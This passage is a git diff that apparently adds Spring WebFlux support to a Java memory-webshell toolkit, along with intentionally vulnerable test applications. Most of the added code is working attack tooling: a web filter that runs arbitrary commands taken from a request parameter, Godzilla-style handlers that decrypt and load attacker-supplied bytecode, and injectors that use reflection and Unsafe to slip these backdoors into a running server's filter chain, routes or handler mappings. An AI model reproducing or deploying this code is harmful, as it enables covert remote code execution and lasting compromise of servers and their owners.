+ } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java new file mode 100644 index 00000000..4022825d --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/command/CommandWebFilter.java @@ -0,0 +1,46 @@ +package com.reajason.javaweb.memshell.springwebflux.command; + +import org.springframework.core.io.buffer.DataBuffer; +import org.springframework.core.io.buffer.DefaultDataBufferFactory; +import org.springframework.web.server.ServerWebExchange; +import org.springframework.web.server.WebFilter; +import org.springframework.web.server.WebFilterChain; +import reactor.core.publisher.Mono; + +import java.io.BufferedReader; +import java.io.InputStreamReader; +import java.nio.charset.StandardCharsets; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class CommandWebFilter extends ClassLoader implements WebFilter { + public String paramName = "{{paramName}}"; + + @Override + public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { + String cmd = exchange.getRequest().getQueryParams().getFirst(paramName); + if (cmd == null) { + return chain.filter(exchange); + } + return exchange.getResponse().writeWith(getResult(cmd)); + } + + private Mono getResult(String cmd) { + StringBuilder result = new StringBuilder(); + try { + Process exec = Runtime.getRuntime().exec(cmd); + try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()))) { + String line; + while ((line = bufferedReader.readLine()) != null) { + result.append(line); + result.append(System.lineSeparator()); + } + } + } catch (Exception e) { + e.printStackTrace(); + } + return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java new file mode 100644 index 00000000..bf3a3267 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerFunction.java @@ -0,0 +1,115 @@ +package com.reajason.javaweb.memshell.springwebflux.godzilla; + +import org.springframework.web.reactive.function.server.HandlerFunction; +import org.springframework.web.reactive.function.server.ServerRequest; +import org.springframework.web.reactive.function.server.ServerResponse; +import reactor.core.publisher.Mono; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class GodzillaHandlerFunction extends ClassLoader implements HandlerFunction { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + public Class payload; + + public GodzillaHandlerFunction() { + } + + protected GodzillaHandlerFunction(ClassLoader parent) { + super(parent); + } + + @Override + public Mono handle(ServerRequest request) { + String value = request.headers().firstHeader(headerName); + if (value == null || !value.contains(headerValue)) { + return Mono.empty(); + } + try { + Object bufferStream = request.formData().flatMap(map -> { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaHandlerFunction(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.getDeclaredConstructor().newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(request); + result.append(md5.substring(0, 16)); + f.toString(); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Exception ex) { + ex.printStackTrace(); + } + return Mono.just(result.toString()); + }); + return ServerResponse.ok().body(bufferStream, String.class); + } catch (Exception ex) { + return ServerResponse.ok().body(Mono.just(ex.getMessage()), String.class); + } + } + + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java new file mode 100644 index 00000000..ed631950 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaHandlerMethod.java @@ -0,0 +1,114 @@ +package com.reajason.javaweb.memshell.springwebflux.godzilla; + +import org.springframework.http.ResponseEntity; +import org.springframework.web.server.ServerWebExchange; +import reactor.core.publisher.Mono; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class GodzillaHandlerMethod extends ClassLoader { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + public Class payload; + + public GodzillaHandlerMethod() { + } + + public GodzillaHandlerMethod(ClassLoader parent) { + super(parent); + } + + public ResponseEntity invoke(ServerWebExchange exchange) { + String value = exchange.getRequest().getHeaders().getFirst(headerName); + if (value == null || !value.contains(headerValue)) { + return ResponseEntity.notFound().build(); + } + try { + Object bufferStream = exchange.getFormData().flatMap(map -> { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = new GodzillaHandlerMethod(Thread.currentThread().getContextClassLoader()).defineClass(null, data, 0, data.length); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.getDeclaredConstructor().newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(exchange.getRequest()); + result.append(md5.substring(0, 16)); + f.toString(); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Exception ex) { + result.append(ex.getMessage()); + } + return Mono.just(result.toString()); + }); + return ResponseEntity.ok(bufferStream); + } catch (Exception ex) { + return ResponseEntity.ok(ex.getMessage()); + } + } + + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + public byte[] x(byte[] s, boolean m) { + try { + + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java new file mode 100644 index 00000000..fa8e03d9 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/godzilla/GodzillaWebFilter.java @@ -0,0 +1,123 @@ +package com.reajason.javaweb.memshell.springwebflux.godzilla; + +import org.springframework.core.io.buffer.DataBuffer; +import org.springframework.core.io.buffer.DefaultDataBufferFactory; +import org.springframework.util.MultiValueMap; +import org.springframework.web.server.ServerWebExchange; +import org.springframework.web.server.WebFilter; +import org.springframework.web.server.WebFilterChain; +import reactor.core.publisher.Mono; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import java.io.ByteArrayOutputStream; +import java.nio.charset.StandardCharsets; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class GodzillaWebFilter extends ClassLoader implements WebFilter { + public String key = "{{key}}"; + public String pass = "{{pass}}"; + public String md5 = "{{md5}}"; + public String headerName = "{{headerName}}"; + public String headerValue = "{{headerValue}}"; + public Class payload; + + public GodzillaWebFilter() { + } + + public GodzillaWebFilter(ClassLoader parent) { + super(parent); + } + + @Override + public Mono filter(ServerWebExchange exchange, WebFilterChain chain) { + String value = exchange.getRequest().getHeaders().getFirst(headerName); + if (value == null || !value.contains(headerValue)) { + return chain.filter(exchange); + } + return exchange.getResponse().writeWith(getPost(exchange)); + } + + private Mono getPost(ServerWebExchange exchange) { + Mono> formData = exchange.getFormData(); + return formData.flatMap(map -> { + StringBuilder result = new StringBuilder(); + try { + byte[] data = base64Decode(map.getFirst(pass)); + data = x(data, false); + if (payload == null) { + payload = (Class) new GodzillaWebFilter(this.getClass().getClassLoader()).Q(data); + } else { + ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); + Object f = payload.getDeclaredConstructor().newInstance(); + f.equals(arrOut); + f.equals(data); + f.equals(exchange.getRequest()); + result.append(md5.substring(0, 16)); + f.toString(); + result.append(base64Encode(x(arrOut.toByteArray(), true))); + result.append(md5.substring(16)); + } + } catch (Exception ignored) { + } + return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); + }); + } + + + @SuppressWarnings("all") + public static String base64Encode(byte[] bs) throws Exception { + String value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Encoder"); + Object encoder = base64.newInstance(); + value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class Q(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + public byte[] x(byte[] s, boolean m) { + try { + Cipher c = Cipher.getInstance("AES"); + c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); + return c.doFinal(s); + } catch (Exception var4) { + return null; + } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java new file mode 100644 index 00000000..0b3b84cf --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java @@ -0,0 +1,165 @@ +package com.reajason.javaweb.memshell.springwebflux.injector; + +import org.springframework.util.Base64Utils; +import org.springframework.web.reactive.function.server.*; +import org.springframework.web.reactive.function.server.support.RouterFunctionMapping; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class SpringWebFluxHandlerFunctionInjector { + + static { + new SpringWebFluxHandlerFunctionInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public SpringWebFluxHandlerFunctionInjector() { + try { + Object webHandler = getWebHandler(); + Object functionObj = getShell(); + inject(webHandler, functionObj); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public Object getWebHandler() throws Exception { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getClass().getName().contains("NettyWebServer")) { + Object nettyWebServer = getFieldValue(thread, "this$0"); + Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler"); + Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler"); + return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate"); + } + } + return null; + } + + private Object getShell() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } + return interceptor; + } + + @SuppressWarnings("unchecked") + public void inject(Object webHandler, Object functionObj) throws Exception { + Object handler = getFieldValue(webHandler, "delegate"); + List handlerMappings = (List) invokeMethod(handler, "getHandlerMappings", null, null); + RouterFunctionMapping routerFunctionMapping = null; + for (Object handlerMapping : handlerMappings) { + if (handlerMapping.getClass().getName().contains("RouterFunctionMapping")) { + routerFunctionMapping = (RouterFunctionMapping) handlerMapping; + break; + } + } + RouterFunction routerFunction = routerFunctionMapping.getRouterFunction(); + RouterFunction newRouterFunction = RouterFunctions.route(RequestPredicates.path(getUrlPattern()), ((HandlerFunction) functionObj)); + + if (routerFunction == null) { + routerFunction = newRouterFunction; + RouterFunctions.changeParser(routerFunction, routerFunctionMapping.getPathPatternParser()); + } else { + try { + // 缺陷,没法遍历所有的 RouterFunction 来进行判断,所以一个服务每一次注入都尽量更改 urlPattern + HandlerFunction handlerFunction = (HandlerFunction) getFieldValue(routerFunction, "handlerFunction"); + if (handlerFunction.getClass().getName().equals(getClassName())) { + System.out.println("routerFunction already injected"); + return; + } + } catch (Exception ignored) { + } + routerFunction = newRouterFunction.andOther(routerFunction); + } + Field field = routerFunctionMapping.getClass().getDeclaredField("routerFunction"); + field.setAccessible(true); + field.set(routerFunctionMapping, routerFunction); + System.out.println("routerFunction inject successful"); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + try (ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) { + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java new file mode 100644 index 00000000..351e0d54 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java @@ -0,0 +1,157 @@ +package com.reajason.javaweb.memshell.springwebflux.injector; + +import org.springframework.util.Base64Utils; +import org.springframework.web.method.HandlerMethod; +import org.springframework.web.reactive.result.method.RequestMappingInfo; +import org.springframework.web.reactive.result.method.annotation.RequestMappingHandlerMapping; +import org.springframework.web.server.ServerWebExchange; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.Collection; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/25 + */ +public class SpringWebFluxHandlerMethodInjector { + + static { + new SpringWebFluxHandlerMethodInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public SpringWebFluxHandlerMethodInjector() { + try { + Object webHandler = getWebHandler(); + Object handlerMethod = getShell(); + inject(webHandler, handlerMethod); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public Object getWebHandler() throws Exception { + Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]); + for (Thread thread : threads) { + if (thread.getClass().getName().contains("NettyWebServer")) { + Object nettyWebServer = getFieldValue(thread, "this$0"); + Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler"); + Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler"); + return getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate"); + } + } + return null; + } + + private Object getShell() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } + return interceptor; + } + + @SuppressWarnings("unchecked") + public void inject(Object webHandler, Object handlerMethod) throws Exception { + Object handler = getFieldValue(webHandler, "delegate"); + List handlerMappings = (List) invokeMethod(handler, "getHandlerMappings", null, null); + RequestMappingHandlerMapping requestMappingHandlerMapping = null; + for (Object handlerMapping : handlerMappings) { + if (handlerMapping.getClass().getName().contains("RequestMappingHandlerMapping")) { + requestMappingHandlerMapping = (RequestMappingHandlerMapping) handlerMapping; + break; + } + } + Collection values = requestMappingHandlerMapping.getHandlerMethods().values(); + Method method = handlerMethod.getClass().getMethod("invoke", ServerWebExchange.class); + for (HandlerMethod value : values) { + if (value.getMethod().equals(method)) { + System.out.println("handlerMethod already injected"); + return; + } + } + RequestMappingInfo requestMappingInfo = RequestMappingInfo.paths(getUrlPattern()).build(); + invokeMethod(requestMappingHandlerMapping, "registerHandlerMethod", new Class[]{Object.class, Method.class, RequestMappingInfo.class}, new Object[]{handlerMethod, method, requestMappingInfo}); + System.out.println("handlerMethod inject successful"); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) throws + Exception { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + try (ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) { + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java new file mode 100644 index 00000000..d875e7be --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java @@ -0,0 +1,136 @@ +package com.reajason.javaweb.memshell.springwebflux.injector; + +import org.springframework.util.Base64Utils; +import org.springframework.web.server.WebFilter; +import org.springframework.web.server.handler.DefaultWebFilterChain; +import org.springframework.web.server.handler.FilteringWebHandler; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.ArrayList; +import java.util.List; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + * @since 2024/12/24 + */ +public class SpringWebFluxWebFilterInjector { + + static { + new SpringWebFluxWebFilterInjector(); + } + + public String getUrlPattern() { + return "{{urlPattern}}"; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() throws IOException { + return "{{base64Str}}"; + } + + public SpringWebFluxWebFilterInjector() { + try { + FilteringWebHandler webHandler = getWebHandler(); + Object filter = getShell(); + inject(webHandler, filter); + } catch (Exception e) { + e.printStackTrace(); + } + } + + public FilteringWebHandler getWebHandler() throws Exception { + Method getThreads = Thread.class.getDeclaredMethod("getThreads"); + getThreads.setAccessible(true); + Thread[] threads = (Thread[]) getThreads.invoke(null); + for (Thread thread : threads) { + if (thread.getClass().getName().contains("NettyWebServer")) { + Object nettyWebServer = getFieldValue(thread, "this$0"); + Object reactorHttpHandlerAdapter = getFieldValue(nettyWebServer, "handler"); + Object httpHandler = getFieldValue(reactorHttpHandlerAdapter, "httpHandler"); + return (FilteringWebHandler) getFieldValue(getFieldValue(getFieldValue(httpHandler, "delegate"), "delegate"), "delegate"); + } + } + return null; + } + + private Object getShell() throws Exception { + ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); + Object interceptor = null; + try { + interceptor = classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(Base64Utils.decodeFromString(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + interceptor = clazz.newInstance(); + } + return interceptor; + } + + public void inject(FilteringWebHandler webHandler, Object filter) throws Exception { + DefaultWebFilterChain chain = (DefaultWebFilterChain) getFieldValue(webHandler, "chain"); + List filters = new ArrayList<>(chain.getFilters()); + for (Object o : filters) { + if (o.getClass().getName().equals(getClassName())) { + System.out.println("filter already injected"); + return; + } + } + filters.add(0, ((WebFilter) filter)); + DefaultWebFilterChain newChain = new DefaultWebFilterChain(chain.getHandler(), filters); + setFinalField(webHandler, "chain", newChain); + System.out.println("filter inject successful"); + } + + public void setFinalField(Object obj, String fieldName, Object value) throws Exception { + Field field = obj.getClass().getDeclaredField(fieldName); + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + Object offset = unsafe.getClass().getMethod("objectFieldOffset", Field.class).invoke(unsafe, field); + unsafe.getClass().getMethod("putObject", Object.class, long.class, Object.class).invoke(unsafe, obj, offset, value); + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + try (ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData))) { + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } +} diff --git a/memshell/build.gradle b/memshell/build.gradle index 418842a4..2fd5c6d6 100644 --- a/memshell/build.gradle +++ b/memshell/build.gradle @@ -5,9 +5,6 @@ plugins { group = 'com.reajason.javaweb' version = '' -repositories { - mavenCentral() -} java { toolchain { @@ -18,8 +15,6 @@ java { } dependencies { - implementation 'org.springframework:spring-webmvc:4.3.30.RELEASE' - implementation 'org.springframework:spring-web:4.3.30.RELEASE' implementation('org.apache.tomcat:tomcat-catalina:8.5.58') { exclude group: 'org.apache.tomcat', module: 'tomcat-api' exclude group: 'org.apache.tomcat', module: 'tomcat-juli' diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java index 1028c621..e5fde007 100644 --- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/injector/TomcatServletInjector.java @@ -137,7 +137,6 @@ public class TomcatServletInjector { Map servletMappings = (Map) getFieldValue(context, "servletMappings"); Collection values = servletMappings.values(); for (String name : values) { - System.out.println(name); if (name.equals(getClassName())) { return true; } diff --git a/settings.gradle b/settings.gradle index 41049bc2..431d6aaa 100644 --- a/settings.gradle +++ b/settings.gradle @@ -15,3 +15,7 @@ include 'vul:vul-webapp-jakarta' include 'vul:vul-webapp-expression' include 'vul:vul-springboot2' include 'vul:vul-springboot3' +include 'vul:vul-springboot2-webflux' +include 'vul:vul-springboot3-webflux' +include 'memshell-java8' + diff --git a/vul/vul-springboot2-webflux/Dockerfile b/vul/vul-springboot2-webflux/Dockerfile new file mode 100644 index 00000000..7ab400aa --- /dev/null +++ b/vul/vul-springboot2-webflux/Dockerfile @@ -0,0 +1,8 @@ +FROM openjdk:8 +WORKDIR /app + +COPY build/libs/vul-springboot2-webflux.jar /app/vul-springboot2-webflux.jar + +EXPOSE 8080 + +ENTRYPOINT java $JAVA_OPTS -jar vul-springboot2-webflux.jar \ No newline at end of file diff --git a/vul/vul-springboot2-webflux/build.gradle b/vul/vul-springboot2-webflux/build.gradle new file mode 100644 index 00000000..f49829d3 --- /dev/null +++ b/vul/vul-springboot2-webflux/build.gradle @@ -0,0 +1,13 @@ +plugins { + id 'org.springframework.boot' version '2.7.6' + id 'io.spring.dependency-management' version '1.0.15.RELEASE' + id 'java' +} + +group = 'com.reajason.javaweb.vul' +version = '' +sourceCompatibility = '1.8' + +dependencies { + implementation 'org.springframework.boot:spring-boot-starter-webflux' +} \ No newline at end of file diff --git a/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/ClassDefiner.java b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/ClassDefiner.java new file mode 100644 index 00000000..4846f2fc --- /dev/null +++ b/vul/vul-springboot2-webflux/src/main/java/com/reajason/javaweb/vul/springboot2/ClassDefiner.java @@ -0,0 +1,14 @@ +package com.reajason.javaweb.vul.springboot2; + +public class ClassDefiner extends ClassLoader { + public ClassDefiner() { + } + + public ClassDefiner(ClassLoader parent) { + super(parent); + } + + public Class 